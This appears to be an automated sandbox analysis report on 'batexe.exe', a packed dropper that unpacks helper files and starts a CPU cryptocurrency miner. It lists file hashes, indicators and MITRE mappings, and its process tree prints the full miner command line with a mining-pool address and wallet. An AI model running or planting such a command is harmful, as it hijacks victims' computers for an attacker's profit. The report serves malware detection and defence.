73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
304s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 11:45

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3192	b2e.exe
3128	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3128	cpuminer-sse2.exe
3128	cpuminer-sse2.exe
3128	cpuminer-sse2.exe
3128	cpuminer-sse2.exe
3128	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2180-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 3192	2180	batexe.exe	73
PID 2180 wrote to memory of 3192	2180	batexe.exe	73
PID 2180 wrote to memory of 3192	2180	batexe.exe	73
PID 3192 wrote to memory of 3748	3192	b2e.exe	74
PID 3192 wrote to memory of 3748	3192	b2e.exe	74
PID 3192 wrote to memory of 3748	3192	b2e.exe	74
PID 3748 wrote to memory of 3128	3748	cmd.exe	77
PID 3748 wrote to memory of 3128	3748	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A8C3.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe

Filesize
1.8MB

MD5
f51fe7ed64e17eb639e2b77a503596fc

SHA1
9de36c8a5bd8a21c006aabe8c222294852a802f1

SHA256
706fdab761081f7c0cbe20066009c226b25636178215be354891409ae09eecc7

SHA512
ffd4c6f3d081da80edc1bdcc52052d9965c854f7f4fe83e655da803a0fc5f9c261219ec8e12b45ba432cec0d740d314e2be5700a592e581b9f057bccfe516fca

Download Submit
C:\Users\Admin\AppData\Local\Temp\A44E.tmp\b2e.exe

Filesize
1.3MB

MD5
cd2e147246a8f0dc58bad676a15048ca

SHA1
0382157b28b479809d4848771f63f209292dea25

SHA256
eee07142595f07a70af1c63f13f60f8d09efd8a1f565490bf5cf7cbee1bffc1c

SHA512
196cff5a99ab1de4fd542abf69f2416c59127edefad5b875b229f1744fa9591f1ee7b3730cf7822919194ea893624c97236dbbbc5b05c3f270cc8f66c59acaaf

Download Submit
C:\Users\Admin\AppData\Local\Temp\A8C3.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.8MB

MD5
c506fdc0756e24177f47b538c19d6c91

SHA1
44677f34c1fdd7d94be282c636231880108cf786

SHA256
4a37863f13cfc1bcc963272e140065bf9c14f08fad96d79ed71ff8b87a53455e

SHA512
0dadb44ebcd9cecbb53d19345961513063e6d180656b8e3e61d6ba4f9e205f1ec20b9c6c69747bee76952b3c3e0a3cdfc9a815d58c35eff1ca4add8e42c103b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.1MB

MD5
cbe0a2790b373674445d9a9d275242eb

SHA1
dab98a980d149771b6d993a68eef60b01392b49b

SHA256
1ac0f34831861fbb61060b0feafc206d105e12770031d3bcd0238fe259ecf40c

SHA512
653355267a6426f1d63b5063382a4070cb518603c32aed6fb8437f2789b6820fb87b524b352e9bc8cb00204f8e7eb639e387f69801fc1e86a7541e04e2158881

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.8MB

MD5
b9b0ee98e9444dc6581e1fa5727331a9

SHA1
9edcc522d7e69c85ed36f738c83db87456edaac9

SHA256
9d8b48e1d2ecbaefd524d0ac36b60529ec79728939dc74daa2c914265b03d1dc

SHA512
89cd7194583c0720da6bafb0ec7055ec1a73f6809da44b4203d47aee36395664959d96f57089f2397feff096e9908f6f3c9404585272442fc8f9eb6cfbb6f1c4

Download Submit
memory/2180-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3128-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3128-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3128-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3128-43-0x0000000066770000-0x0000000066808000-memory.dmp

Filesize
608KB

Download
memory/3128-44-0x0000000000EC0000-0x0000000002775000-memory.dmp

Filesize
24.7MB

Download
memory/3128-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3128-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3128-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3128-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3128-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3128-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3192-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3192-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download